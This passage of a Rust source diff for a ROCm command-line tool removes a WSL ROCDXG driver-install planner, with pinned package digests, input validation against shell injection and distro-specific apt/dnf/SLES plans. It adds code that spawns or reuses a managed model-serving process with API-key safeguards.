a user reviews names the build the -/// install will actually fetch rather than an unexpanded `${...}` placeholder. -/// -/// How the default is chosen: the newest non-prerelease `librocdxg` release -/// whose `rocdxg-roct` digest is pinned in [`ROCDXG_PINNED_DIGESTS`]. Moving it -/// is two edits — add the `(version, digest)` row to that table, then change -/// the literal here — and the two must move together: a default with no row -/// makes [`resolve_rocdxg_verification`] refuse to build a plan at all unless -/// the caller supplies a digest, so a bump that forgets the table breaks every -/// default WSL install rather than falling back to the previous release. -/// -/// Deliberately out of scope: `rocdxg-amd-smi-lib__amd64.deb`, which -/// v1.2.1 and v1.2.2 ship alongside `rocdxg-roct` and the five releases before -/// them do not, is not installed here. It is a second prefix under -/// `/opt/rocm-wsl` carrying its own `amd-smi` and `libamd_smi.so`, and it -/// installs an `/etc/profile.d` entry that sources the package's own -/// `/opt/rocm-wsl/.env.sh`, which in turn prepends that prefix to `PATH` and -/// `LD_LIBRARY_PATH` for new login shells. That is a system-wide environment -/// change in service of a monitoring utility that neither `wsl_rocdxg_ready` -/// nor `rocm serve` depends on, and it is not available for every version in -/// the pinned table. Installing it is a separate decision that belongs behind -/// its own opt-in, not folded into the plan whose job is to supply the runtime -/// bridge. -const ROCDXG_VERSION_EXPR: &str = "${ROCM_CLI_ROCDXG_VERSION:-1.2.2}"; - -/// Supplies a SHA-256 digest for the ROCDXG package, overriding the pinned one. -/// Required when installing a version this build has no digest for. -const ROCDXG_SHA256_ENV: &str = "ROCM_CLI_ROCDXG_SHA256"; - -/// Opts out of digest verification entirely, when set to an affirmative value. -/// Named explicitly so that shipping an unverified root install is a deliberate -/// act with an audit trail in the plan, rather than what happens when a variable -/// is simply unset. -const ROCDXG_ALLOW_UNVERIFIED_ENV: &str = "ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED"; - -/// SHA-256 digests of the `rocdxg-roct` package shipped with each published -/// ROCDXG release, taken from the release host's own asset metadata. -/// -/// These exist so the default install is authenticated. The package is fetched -/// over plain HTTPS from a release page and then handed to `apt-get install`, -/// which runs its maintainer scripts as root — so without a digest, TLS to the -/// download host is the only thing standing between a compromised or swapped -/// artifact and root on the user's machine. That is materially weaker than the -/// bare-metal apt path in this same file, which installs from a repository -/// pinned with `signed-by=/etc/apt/keyrings/rocm.gpg`. -/// -/// A version absent from this table is not installed unless the caller supplies -/// a digest via `ROCM_CLI_ROCDXG_SHA256` or opts out via -/// `ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED`; see [`resolve_rocdxg_verification`]. -/// Add the new pair here when pinning a newer release. Nothing in the tree -/// checks a row against the published artifact, so a mistyped digest surfaces -/// only as a failed install on a WSL host — fail-closed, but confusing. Take -/// the value from the release's own asset metadata, or recompute it: -/// -/// ```text -/// curl -L --fail \ -/// https://github.com/ROCm/librocdxg/releases/download/v/rocdxg-roct__amd64.deb \ -/// | sha256sum -/// ``` -const ROCDXG_PINNED_DIGESTS: &[(&str, &str)] = &[ - ( - "1.0.0", - "5e78d300dfb8c10dfd57de24b312ff9f9962a3a971f571e5e9383e1c543b607a", - ), - ( - "1.1.0", - "d1f92415d218ca10df3c39f2ce48872ee968549a97191e987f2c2a79ab709f23", - ), - ( - "1.1.1", - "cd2ba9dbfd32bf35755a45e7e92410524f32baa2b4dcc31d0106876d04c3abcc", - ), - ( - "1.1.2", - "e426a5f58f4f177512a354ed5f0dd7b2c0a2b736f009e09bf806edf18ca6cb97", - ), - ( - "1.2.0", - "3ed9526719290cd8f590150dad8ea0f234fa779bea6a4c9a8449d7ae6b8cfb6e", - ), - ( - "1.2.1", - "7889eef45a1132ed2dde88d8ea1356bf791ec9c05802a18940bc81b970e850e0", - ), - ( - "1.2.2", - "28ded1254811192ebace1f76c0227580184af7b27ab2475fb9728295a702d541", - ), -]; - -/// Whether a resolved ROCDXG version is safe to place in the plan's commands. +/// Either an already-live service (nothing spawned) or a freshly spawned engine +/// child that is `running` but not yet HTTP-ready. /// -/// The driver plan is a list of shell lines run through `sh -c`, and the -/// version is interpolated into three of them — the archive name, the release -/// URL and the local path — each of which is then executed with `sudo` already -/// primed by an earlier `apt-get update`. `ROCM_CLI_ROCDXG_VERSION` reaches -/// this unchanged from the environment, so a value containing `;` or a -/// backtick would otherwise end the intended command and start an attacker's -/// own. Restricting it to characters that appear in a Debian package version -/// removes the possibility rather than trying to escape it. -fn rocdxg_version_is_well_formed(version: &str) -> bool { - !version.is_empty() - && version.starts_with(|c: char| c.is_ascii_alphanumeric()) - && version - .chars() - .all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '+' | '-' | '~')) -} - -/// Whether a string is a bare lowercase 64-character hex SHA-256 digest, the -/// form `sha256sum -c -` expects. -fn sha256_digest_is_well_formed(digest: &str) -> bool { - digest.len() == 64 && digest.chars().all(|c| c.is_ascii_hexdigit()) -} - -/// How the downloaded ROCDXG package will be authenticated before it is -/// installed as root. -#[derive(Debug, Clone, Eq, PartialEq)] -enum RocdxgVerification { - /// Check the download against this digest and abort the install on a - /// mismatch. - Digest(String), - /// Install without checking, because the caller explicitly asked for it. - OptedOut, +/// Split out of [`start_managed_service`] so the attached (`--verbose` / +/// `--foreground`) serve path can spawn the very same detached child and stream +/// its log live from the first line — including startup — instead of blocking on +/// the readiness wait before any output appears. +enum ManagedSpawn { + AlreadyRunning(ManagedLaunchReport), + // `ManagedServiceRecord` is large; box it so the two variants stay a similar + // size (clippy::large_enum_variant). + Spawned { + record: Box, + child_pid: u32, + }, } -/// Decide how a ROCDXG download will be authenticated, or `Err` with the reason -/// no plan can be built. -/// -/// Resolution order — an explicit digest wins over the pinned one so a user can -/// install an artifact this build predates without having to disable -/// verification wholesale: -/// -/// 1. `ROCM_CLI_ROCDXG_SHA256`, when it is a well-formed digest. -/// 2. The digest pinned for this version in [`ROCDXG_PINNED_DIGESTS`]. -/// 3. `ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED`, when set to an affirmative value -/// — see [`crate::therock::truthy_env`] for the exact allowlist — which opts -/// out. `0` and `false` do not. -/// -/// Nothing left means refusal. Verification is therefore opt-*out*: the failure -/// mode of an unset variable is a plan that will not run, not a root install of -/// an unauthenticated package. -fn resolve_rocdxg_verification(version: &str) -> Result { - if let Some(supplied) = std::env::var(ROCDXG_SHA256_ENV) - .ok() - .map(|value| value.trim().to_ascii_lowercase()) - .filter(|value| !value.is_empty()) - { - if !sha256_digest_is_well_formed(&supplied) { - return Err(format!( - "{ROCDXG_SHA256_ENV} is not a 64-character hex SHA-256 digest; refusing to install ROCDXG without a usable digest." - )); - } - return Ok(RocdxgVerification::Digest(supplied)); - } +/// Spawn the detached engine child shared by the managed (background) and +/// attached (`--verbose`/`--foreground`) serve paths. Returns before the HTTP +/// readiness wait; callers decide whether to block on readiness +/// ([`start_managed_service`]) or start tailing the log immediately +/// ([`run_attached_service`]). +#[allow(clippy::too_many_arguments)] +fn spawn_managed_engine_child( + paths: &AppPaths, + engine: &str, + service_id: &str, + requested_model: &str, + resolve: &ResolveModelResponse, + host: &str, + port: u16, + device_policy: &DevicePolicy, + gpu_indices: &[u32], + runtime_id: Option<&str>, + env_id: Option<&str>, + engine_recipe: Option<&EngineRecipeHint>, + require_api_key: bool, +) -> Result { + paths.ensure()?; + fs::create_dir_all(paths.services_dir())?; - if let Some(pinned) = ROCDXG_PINNED_DIGESTS - .iter() - .find_map(|(pinned_version, digest)| (*pinned_version == version).then_some(*digest)) + // Idempotency guard: if a managed service for this engine+model is already + // alive, surface it and spawn nothing. A second `serve --managed` (e.g. the + // chat assistant re-issuing the same request) is treated as satisfied, not + // an error. Keyed on engine+canonical model — the freshly generated + // `service_id` is timestamp-unique and would never match an existing one. + // Stale/dead services fall through and relaunch normally. + let requested_recipe_json = engine_recipe + .map(serde_json::to_string) + .transpose() + .context("failed to encode engine recipe hint")?; + if let Some(existing) = + existing_live_managed_service(paths, engine, &resolve.canonical_model_id) { - return Ok(RocdxgVerification::Digest(pinned.to_owned())); - } - - // An allowlist of affirmative values, not "set to anything non-empty": - // otherwise `ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED=0` — which every reader takes - // for "off" — would turn digest checking off for a package installed as - // root. Anything this does not recognise leaves verification on. - if crate::therock::truthy_env(ROCDXG_ALLOW_UNVERIFIED_ENV) { - return Ok(RocdxgVerification::OptedOut); - } - - Err(format!( - "no known SHA-256 digest for ROCDXG {version}, and this package is installed as root. Set {ROCDXG_SHA256_ENV} to the digest published with that release, or set {ROCDXG_ALLOW_UNVERIFIED_ENV}=1 to install without verifying it." - )) -} - -/// A WSL plan that cannot be run, carrying the reason in the same shape every -/// other unsupported plan uses so `--dry-run`, the approval prompt and -/// `state.json` all report it identically. -fn wsl_rocdxg_refusal_plan(repo_version: String, reason: String) -> DriverInstallPlan { - DriverInstallPlan { - supported: false, - mutating: false, - policy: "wsl_rocdxg".to_owned(), - os_id: "wsl".to_owned(), - version_id: String::new(), - codename: String::new(), - repo_version, - reason, - preflight_checks: Vec::new(), - commands: Vec::new(), - checks: vec!["rocm examine".to_owned(), "rocm diagnose".to_owned()], - reboot_required: false, - } -} - -/// The `rocm install driver` plan for a WSL2 host. -/// -/// WSL2 has no in-tree amdgpu driver to install: the GPU comes from the Windows -/// host driver through `/dev/dxg`, and what ROCm needs on the Linux side is -/// ROCDXG (`librocdxg`), which bridges the runtime to it. Without that library -/// `rocm examine` reports `wsl_rocdxg_missing` and `rocm serve` refuses with -/// "no usable AMD GPU detected", even though a gfx target is detected — the -/// target is read from the Windows-side driver. -/// -/// This used to be a refusal pointing at a shell script under `scripts/`, which -/// ships only in a git checkout — never in the release bundle — so it was a dead -/// end for anyone who installed the CLI normally. These are that script's steps; -/// it has been removed rather than left as a second, untested copy of them. -fn wsl_rocdxg_driver_plan(escalation: PrivilegeEscalation) -> DriverInstallPlan { - let version = resolve_shell_default_template(ROCDXG_VERSION_EXPR); - if !rocdxg_version_is_well_formed(&version) { - return wsl_rocdxg_refusal_plan( - // The rejected value is still rendered into the plan's - // `repo_version:` line so the user can see what was refused — but - // that line is part of a plan a human reads to decide, and a raw - // value containing a newline could forge further lines in it. The - // debug form escapes newlines and makes trailing space visible, - // which is exactly what is wanted for a value being shown as - // rejected. - format!("{version:?}"), - "ROCM_CLI_ROCDXG_VERSION is not a well-formed package version. It is interpolated into privileged shell commands, so only letters, digits, and `. + - ~` are accepted.".to_owned(), - ); - } - let verification = match resolve_rocdxg_verification(&version) { - Ok(verification) => verification, - Err(reason) => return wsl_rocdxg_refusal_plan(version, reason), - }; - - let sudo = escalation.prefix(); - let deb = format!("rocdxg-roct_{version}_amd64.deb"); - let url = format!("https://github.com/ROCm/librocdxg/releases/download/v{version}/{deb}"); - let deb_path = format!("/tmp/{deb}"); - // `version` is validated above and the digest is hex, so neither can carry - // shell metacharacters; the quotes keep that guarantee local to the command - // rather than resting on a check several functions away. - let verify_download = match &verification { - RocdxgVerification::Digest(digest) => driver_command( - DriverCommandPhase::Execute, - &format!("printf '%s %s\\n' '{digest}' '{deb_path}' | sha256sum -c -"), - ), - RocdxgVerification::OptedOut => driver_command( - DriverCommandPhase::Execute, - &format!( - "echo 'warning: installing ROCDXG {version} without verifying it ({ROCDXG_ALLOW_UNVERIFIED_ENV} is set)' >&2" - ), - ), - }; - DriverInstallPlan { - supported: true, - mutating: true, - policy: "wsl_rocdxg".to_owned(), - os_id: "wsl".to_owned(), - version_id: String::new(), - codename: String::new(), - repo_version: version, - reason: - "WSL2 uses the Windows host driver plus ROCDXG, not Linux DKMS; this installs ROCDXG." - .to_owned(), - // Read, not run: the GPU plumbing belongs to the WSL platform, so if it - // is absent the fix is on the Windows side and no Linux package helps. - // The Execute phase fails on the same two paths rather than installing - // a library with nothing to bind to. - preflight_checks: { - let mut checks = vec![ - "/dev/dxg (WSL GPU device)".to_owned(), - "/usr/lib/wsl/lib/libdxcore.so (WSL dxcore runtime)".to_owned(), - ]; - checks.extend(driver_root_preflight_checks(escalation)); - checks - }, - commands: vec![ - driver_command( - DriverCommandPhase::Prepare, - "test -e /dev/dxg || { echo 'error: /dev/dxg is missing; WSL GPU plumbing is not available' >&2; exit 1; }", - ), - driver_command( - DriverCommandPhase::Prepare, - "test -e /usr/lib/wsl/lib/libdxcore.so || { echo 'error: /usr/lib/wsl/lib/libdxcore.so is missing' >&2; exit 1; }", - ), - // Say why up front rather than letting the first privileged step die - // with `sudo: command not found`, which reads like a broken plan. - // Skipped when already root: the plan emits no `sudo` at all then, - // so demanding the binary would state a precondition it is not - // relying on. - driver_command( - DriverCommandPhase::Prepare, - if escalation.needs_sudo_binary() { - "command -v sudo >/dev/null 2>&1 || { echo 'error: sudo is required to install ROCDXG under /opt/rocm' >&2; exit 1; }" - } else { - "test \"$(id -u)\" -eq 0 || { echo 'error: this plan was built to run as root' >&2; exit 1; }" - }, - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}apt-get update"), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}apt-get install -y ca-certificates curl"), - ), - driver_command( - DriverCommandPhase::Execute, - &format!("curl -L --fail --show-error --output '{deb_path}' '{url}'"), - ), - // Authenticating the download is the whole trust anchor for this - // plan: everything after it runs the package's maintainer scripts - // as root. `sha256sum -c -` exits non-zero on a mismatch, which - // aborts the plan before the install step. - verify_download, - driver_command( - DriverCommandPhase::Execute, - &format!("{sudo}apt-get install -y '{deb_path}'"), - ), - driver_command(DriverCommandPhase::Execute, &format!("{sudo}ldconfig")), - driver_command( - DriverCommandPhase::Verify, - "test -e /opt/rocm/lib/librocdxg.so", - ), - driver_command( - DriverCommandPhase::Verify, - "ldconfig -p | grep -q 'librocdxg\\.so'", - ), - ], - // `rocm diagnose` carries the WSL catalog, including the host-side - // form that inspects a distro over `wsl.exe` without needing anything - // installed inside it. - checks: vec!["rocm examine".to_owned(), "rocm diagnose".to_owned()], - // Userspace only: `ldconfig` publishes the library in this boot. - reboot_required: false, - } -} - -fn build_driver_install_plan( - examine: &ExamineSummary, - os_release_text: &str, - dkms: bool, - escalation: PrivilegeEscalation, -) -> DriverInstallPlan { - // Resolve the AMD graphics version and amdgpu-install package release once, - // here at plan-build time, so the concrete values are baked into both the - // human-readable summary and every command the plan runs. Keeping shell - // `${VAR:-default}` templates in the commands used to be load-bearing, but - // AMD's apt `sources.list` line embeds the template inside POSIX single - // quotes, which suppress all expansion — so the literal `${...}` would land - // in the repo file. Resolving up front fixes that and keeps the summary and - // the executed commands in agreement. - let repo_version = resolve_shell_default_template("${ROCM_CLI_AMDGPU_VERSION:-7.2.4}"); - let package_release = - resolve_shell_default_template("${ROCM_CLI_AMDGPU_PACKAGE_RELEASE:-70204}"); - if examine.os == "windows" { - return DriverInstallPlan { - supported: false, - mutating: false, - policy: "windows_validate_only".to_owned(), - os_id: "windows".to_owned(), - version_id: String::new(), - codename: String::new(), - repo_version, - reason: "Windows driver install is validate-only in rocm-cli; use `rocm examine` to inspect the AMD display driver.".to_owned(), - preflight_checks: Vec::new(), - commands: Vec::new(), - checks: vec!["rocm examine".to_owned()], - reboot_required: true, - }; - } - if examine.wsl.as_ref().is_some_and(|wsl| wsl.is_wsl) { - return wsl_rocdxg_driver_plan(escalation); - } - - let os_id = parse_os_release_field(os_release_text, "ID").unwrap_or_default(); - let version_id = parse_os_release_field(os_release_text, "VERSION_ID").unwrap_or_default(); - let codename = parse_os_release_field(os_release_text, "VERSION_CODENAME") - .or_else(|| parse_os_release_field(os_release_text, "UBUNTU_CODENAME")) - .or_else(|| codename_for_version(&os_id, &version_id).map(str::to_owned)) - .unwrap_or_default(); - let id_like = parse_os_release_field(os_release_text, "ID_LIKE").unwrap_or_default(); - - match (os_id.as_str(), version_id.as_str()) { - ("ubuntu", "22.04" | "24.04") => apt_driver_plan( - os_id, - version_id, - codename, - repo_version, - dkms, - true, - escalation, - ), - ("debian", "12" | "13") => { - let repo_codename = if version_id == "13" { "noble" } else { "jammy" }; - let mut plan = apt_driver_plan( - os_id, - version_id, - repo_codename.to_owned(), - repo_version, - dkms, - false, - escalation, - ); - // Debian deliberately reuses AMD's Ubuntu-suite repository: AMD's - // documented Debian install maps Debian 12 -> jammy and 13 -> noble - // and serves them from the .../ubuntu graphics tree. Surface that in - // the plan so the Ubuntu codename on a Debian host doesn't read as a - // misdetection. - plan.reason = format!( - "Debian intentionally uses AMD's Ubuntu-suite repository (codename {repo_codename}), per AMD's documented Debian install; the Ubuntu codename is deliberate, not a misdetection. {}", - plan.reason + if existing.engine_recipe_json != requested_recipe_json { + bail!( + "managed service `{}` is already running for engine `{engine}` and model `{}` with different serve options (recipe hint, tool-call parser, or generation defaults); stop it and run `rocm serve` again to apply the requested options", + existing.service_id, + resolve.canonical_model_id ); - plan - } - ("rhel", "10.1" | "10.0" | "9.7" | "9.6" | "9.4" | "8.10") => dnf_driver_plan( - os_id, - version_id, - codename, - repo_version, - package_release, - dkms, - DnfDriverDistro::Rhel, - escalation, - ), - ("ol", "10.1" | "9.7" | "8.10") => dnf_driver_plan( - os_id, - version_id, - codename, - repo_version, - package_release, - dkms, - DnfDriverDistro::Oracle, - escalation, - ), - ("rocky", "9.4" | "9.6" | "9.7") => dnf_driver_plan( - os_id, - version_id, - codename, - repo_version, - package_release, - dkms, - DnfDriverDistro::Rocky, - escalation, - ), - ("sles" | "sle", "15.7") => { - sles_driver_plan( - os_id, - version_id, - codename, - repo_version, - package_release, - dkms, - escalation, - ) } - _ => driver_plan_via_id_like( - &os_id, - &version_id, - &id_like, - &codename, - &repo_version, - &package_release, - dkms, - escalation, - ) - .unwrap_or_else(|| DriverInstallPlan { - supported: false, - mutating: false, - policy: "unsupported_linux_dkms_plan".to_owned(), - os_id, - version_id, - codename, - repo_version, - reason: "Linux DKMS driver install is currently planned only for AMD-documented Ubuntu, Debian, RHEL, Oracle Linux, SLES, and Rocky versions; no commands were guessed for this distro.".to_owned(), - preflight_checks: Vec::new(), - commands: Vec::new(), - checks: vec!["rocm examine".to_owned()], - // Kernel module: not live until the machine comes back up. - reboot_required: true, - }), - } -} - -/// Select a driver install plan for a distro whose `/etc/os-release` `ID` is not -/// an AMD-documented distro, by falling back to its `ID_LIKE` base family. -/// -/// This mirrors the family resolution already used by the OpenMPI and system -/// dependency install plans in [`rocm_core::openmpi`], which honor `ID_LIKE`. A -/// derivative is matched only when its `VERSION_ID` aligns with an AMD-documented -/// version of the base family, so version-misaligned derivatives still fall -/// through to the unsupported plan rather than fabricating a repository URL that -/// would 404. -// Every parameter is one already-resolved fact the plan is templated from; -// bundling them into a struct would only move the same list one level out. -#[allow(clippy::too_many_arguments)] -fn driver_plan_via_id_like( - os_id: &str, - version_id: &str, - id_like: &str, - codename: &str, - repo_version: &str, - package_release: &str, - dkms: bool, - escalation: PrivilegeEscalation, -) -> Option { - let likes: Vec = id_like - .split_whitespace() - .map(str::to_ascii_lowercase) - .collect(); - let mentions = |family: &str| likes.iter().any(|like| like == family); - - // Ubuntu-family derivatives that reuse Ubuntu's VERSION_ID (e.g. Pop!_OS) - // also reuse its repositories; the amdgpu apt line always targets the - // `ubuntu/` repo, so the plan is identical to the Ubuntu base. - // Derivatives with their own version scheme (e.g. Linux Mint's "22") do not - // match here and remain unsupported rather than guessing a codename. - if mentions("ubuntu") && matches!(version_id, "22.04" | "24.04") { - let codename = if codename.is_empty() { - codename_for_version("ubuntu", version_id) - .unwrap_or_default() - .to_owned() - } else { - codename.to_owned() - }; - return Some(apt_driver_plan( - os_id.to_owned(), - version_id.to_owned(), - codename, - repo_version.to_owned(), - dkms, - true, - escalation, - )); - } - - // Debian-family derivatives that share Debian's version scheme map to the - // matching Ubuntu repo codename, exactly like the Debian base. - if mentions("debian") && matches!(version_id, "12" | "13") { - let repo_codename = if version_id == "13" { "noble" } else { "jammy" }; - return Some(apt_driver_plan( - os_id.to_owned(), - version_id.to_owned(), - repo_codename.to_owned(), - repo_version.to_owned(), - dkms, - false, - escalation, - )); - } - - // Enterprise-Linux rebuilds (e.g. AlmaLinux) reuse RHEL's version scheme and - // standard (RHCK, non-UEK) kernels, but are served from the vendor-neutral - // `el/` repository path rather than `rhel/`. Gate strictly on `ID_LIKE` - // naming `rhel`: Oracle Linux advertises only `ID_LIKE=fedora` and boots the - // UEK kernel, so it must keep its dedicated `("ol", ...)` flow and never be - // captured here with RHCK kernel commands that would fail to install. Guard - // the `ol`/`oracle` IDs explicitly as well, in case a future OL release adds - // `rhel` to `ID_LIKE`. - if mentions("rhel") && !matches!(os_id, "ol" | "oracle") && is_supported_el_version(version_id) - { - return Some(dnf_driver_plan( - os_id.to_owned(), - version_id.to_owned(), - codename.to_owned(), - repo_version.to_owned(), - package_release.to_owned(), - dkms, - DnfDriverDistro::Generic, - escalation, - )); - } - - // No SUSE-family fallback: SLES is matched exactly, and community rebuilds - // such as openSUSE Leap share the SLES version scheme but lack SUSEConnect - // entitlements, so the SLES plan's `SUSEConnect` commands would fail. They - // intentionally remain unsupported rather than producing a broken plan. - - None -} - -/// The set of Enterprise-Linux versions AMD documents for the driver install, -/// used to gate `ID_LIKE`-based matching of RHEL rebuilds. -fn is_supported_el_version(version_id: &str) -> bool { - matches!(version_id, "10.1" | "10.0" | "9.7" | "9.6" | "9.4" | "8.10") -} - -#[derive(Debug, Clone, Copy)] -enum DnfDriverDistro { - Rhel, - Oracle, - Rocky, - /// A RHEL rebuild matched via `ID_LIKE` (e.g. AlmaLinux, CentOS Stream): - /// standard RHEL kernels, served from the vendor-neutral `el/` repo path. - Generic, -} - -fn apt_driver_plan( - os_id: String, - version_id: String, - codename: String, - repo_version: String, - dkms: bool, - include_linux_modules_extra: bool, - escalation: PrivilegeEscalation, -) -> DriverInstallPlan { - // Empty when already root, so no command depends on a `sudo` binary that a - // container or minimal image very likely does not have. - let sudo = escalation.prefix(); - let mut commands = Vec::new(); - if dkms { - commands.extend([ - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}apt-get update"), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}apt-get install -y ca-certificates curl gnupg"), - ), - ]); - let header_command = if include_linux_modules_extra { + // Reuse cannot satisfy a demand for auth the running server never got. + // The engine reads its key once, at launch, from the environment this + // function builds below — so a server started without one keeps serving + // anonymously no matter what is written afterwards. Upgrading the record + // here would be worse than doing nothing: the record would claim auth + // that the live process does not enforce, and + // `ensure_public_service_has_endpoint_key` would pass on the strength of + // a key file nothing reads. + // + // This is what `rocm remote serve` relies on. It publishes a loopback + // port onto the tailnet and prints "the API key above is what stops + // anyone else calling it". Reusing an unauthenticated service silently + // would make that sentence false about an endpoint the whole tailnet can + // reach. Refusing is the only answer that fails closed, and it is the + // same shape as the recipe mismatch above. + if require_api_key && !existing.requires_api_key { + bail!( + "managed service `{}` is already running for engine `{engine}` and model `{}` \ + without authentication, and a running server cannot be given a key it did not \ + start with; stop it with `rocm services stop {}` and run the command again to \ + serve it with `--require-api-key`", + existing.service_id, + resolve.canonical_model_id, + existing.service_id + ); + } + record_cli_audit_event( + paths, + "service", + "managed_service_launch_skipped", + "info", format!( - "{sudo}apt-get install -y \"linux-headers-$(uname -r)\" \"linux-modules-extra-$(uname -r)\"" - ) - } else { - format!("{sudo}apt-get install -y \"linux-headers-$(uname -r)\"") - }; - commands.push(driver_command(DriverCommandPhase::Prepare, &header_command)); - commands.extend([ - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}install -m 0755 -d /etc/apt/keyrings"), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!( - "curl -fsSL https://repo.radeon.com/rocm/rocm.gpg.key | {sudo}gpg --dearmor -o /etc/apt/keyrings/rocm.gpg" - ), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!( - "printf '%s\\n' 'deb [arch=amd64 signed-by=/etc/apt/keyrings/rocm.gpg] https://repo.radeon.com/graphics/{repo_version}/ubuntu {codename} main' | {sudo}tee /etc/apt/sources.list.d/amdgpu.list >/dev/null" - ), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!( - "printf '%s\\n' 'Package: *' 'Pin: release o=repo.radeon.com' 'Pin-Priority: 600' | {sudo}tee /etc/apt/preferences.d/rocm-pin-600 >/dev/null" - ), - ), - driver_command(DriverCommandPhase::Prepare, &format!("{sudo}apt-get update")), - ]); - commands.push(driver_command( - DriverCommandPhase::Execute, - &format!("{sudo}apt-get install -y amdgpu-dkms"), - )); - commands.extend([ - driver_command(DriverCommandPhase::Verify, "dkms status amdgpu"), - driver_command(DriverCommandPhase::Verify, "test -e /dev/kfd"), - driver_command( - DriverCommandPhase::Verify, - "ls /dev/dri/renderD* >/dev/null", + "skipped duplicate managed launch engine={engine} model={} existing_service_id={} status={}", + resolve.canonical_model_id, existing.service_id, existing.status ), - ]); - } - - DriverInstallPlan { - supported: true, - mutating: dkms, - policy: "linux_official_amd_dkms_wrapper".to_owned(), - os_id, - version_id, - codename, - repo_version, - reason: if dkms { - "Plan uses AMD's package-manager DKMS flow and requires explicit approval before execution." - } else { - "DKMS was not requested; this is a non-mutating preflight plan." - } - .to_owned(), - preflight_checks: if dkms { - let mut checks = driver_root_preflight_checks(escalation); - checks.push("`apt-get` package manager is available".to_owned()); - checks - } else { - Vec::new() - }, - commands, - checks: vec![ - "dkms status amdgpu".to_owned(), - "/sys/module/amdgpu".to_owned(), - "/dev/kfd".to_owned(), - "/dev/dri/renderD*".to_owned(), - "amd-smi version if present".to_owned(), - "rocminfo if present".to_owned(), - ], - // Kernel module: not live until the machine comes back up. - reboot_required: true, + Some(&existing.service_id), + ); + return Ok(ManagedSpawn::AlreadyRunning(ManagedLaunchReport { + service_id: existing.service_id, + endpoint_url: existing.endpoint_url, + status: existing.status, + already_running: true, + child_pid: None, + log_path: None, + manifest_path: None, + })); } -} -// Same shape as the other distro plan builders: a flat list of resolved facts -// the command templates read, one of which is now the escalation prefix. -#[allow(clippy::too_many_arguments)] -fn dnf_driver_plan( - os_id: String, - version_id: String, - codename: String, - repo_version: String, - package_release: String, - dkms: bool, - distro: DnfDriverDistro, - escalation: PrivilegeEscalation, -) -> DriverInstallPlan { - // Empty when already root, so no command depends on a `sudo` binary that a - // container or minimal image very likely does not have. - let sudo = escalation.prefix(); - let mut commands = Vec::new(); - if dkms { - match distro { - DnfDriverDistro::Rhel | DnfDriverDistro::Generic => { - commands.extend( - rhel_kernel_prepare_commands(&version_id, escalation) - .into_iter() - .map(|command| driver_command(DriverCommandPhase::Prepare, &command)), - ); - } - DnfDriverDistro::Oracle => { - commands.push(driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}dnf install -y \"kernel-uek-devel-$(uname -r)\""), - )); - } - DnfDriverDistro::Rocky => { - commands.push(driver_command( - DriverCommandPhase::Prepare, - &format!( - "{sudo}dnf install -y kernel-headers kernel-devel kernel-devel-matched" - ), - )); - } - } - commands.push(driver_command( - DriverCommandPhase::Prepare, - &format!( - "{sudo}dnf install -y {}", - amdgpu_install_rpm_url(&repo_version, &package_release, &version_id, distro) - ), - )); - commands.push(driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}dnf clean all"), - )); - commands.push(driver_command( - DriverCommandPhase::Execute, - &format!("{sudo}dnf install -y amdgpu-dkms"), - )); - commands.extend([ - driver_command(DriverCommandPhase::Verify, "dkms status amdgpu"), - driver_command(DriverCommandPhase::Verify, "test -e /dev/kfd"), - driver_command( - DriverCommandPhase::Verify, - "ls /dev/dri/renderD* >/dev/null", - ), - ]); - } + let mut record = ManagedServiceRecord::new( + paths, + service_id, + engine, + requested_model, + resolve.canonical_model_id.clone(), + host, + port, + "managed", + 0, + runtime_id.map(str::to_owned), + env_id.map(str::to_owned), + Some(device_policy_name(device_policy).to_owned()), + ); + record.gpu_indices = gpu_indices.to_vec(); + record.engine_recipe_json = requested_recipe_json; + // The flag the user actually passed, carried through rather than re-derived. + // + // Deriving it from key-file presence looked equivalent and was not: + // `resolve_endpoint_auth` mints a key for *every* non-loopback bind whether or + // not auth was demanded, so a plain `--host 0.0.0.0 --allow-public-bind` + // recorded `true` here. The guard below tests this field before the bind + // address, so that service was then refused with a message naming a flag it + // never used and a relaunch command that drops `--allow-public-bind` — the + // public-bind branch, which carries the right command, became unreachable. + // + // This field means "the user demanded auth on a bind that would not otherwise + // require it". A public bind needs no such record; its address still says so. + record.requires_api_key = require_api_key; + record.write()?; - DriverInstallPlan { - supported: true, - mutating: dkms, - policy: "linux_official_amd_dkms_wrapper".to_owned(), - os_id, - version_id, - codename, - repo_version, - reason: if dkms { - "Plan uses AMD's documented DNF DKMS flow and requires explicit approval before execution." - } else { - "DKMS was not requested; this is a non-mutating preflight plan." - } - .to_owned(), - preflight_checks: if dkms { - let mut checks = driver_root_preflight_checks(escalation); - checks.push("`dnf` package manager is available".to_owned()); - checks.push( - "enterprise Linux repositories are registered and current before approval" - .to_owned(), - ); - checks - } else { - Vec::new() - }, - commands, - checks: vec![ - "dkms status amdgpu".to_owned(), - "/sys/module/amdgpu".to_owned(), - "/dev/kfd".to_owned(), - "/dev/dri/renderD*".to_owned(), - "amd-smi version if present".to_owned(), - "rocminfo if present".to_owned(), - ], - // Kernel module: not live until the machine comes back up. - reboot_required: true, - } -} - -fn sles_driver_plan( - os_id: String, - version_id: String, - codename: String, - repo_version: String, - package_release: String, - dkms: bool, - escalation: PrivilegeEscalation, -) -> DriverInstallPlan { - // Empty when already root, so no command depends on a `sudo` binary that a - // container or minimal image very likely does not have. - let sudo = escalation.prefix(); - let mut commands = Vec::new(); - if dkms { - commands.extend([ - driver_command( - DriverCommandPhase::Prepare, - &format!( - "{sudo}SUSEConnect -p sle-module-desktop-applications/{version_id}/x86_64" - ), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}SUSEConnect -p sle-module-development-tools/{version_id}/x86_64"), - ), - driver_command( - DriverCommandPhase::Prepare, - 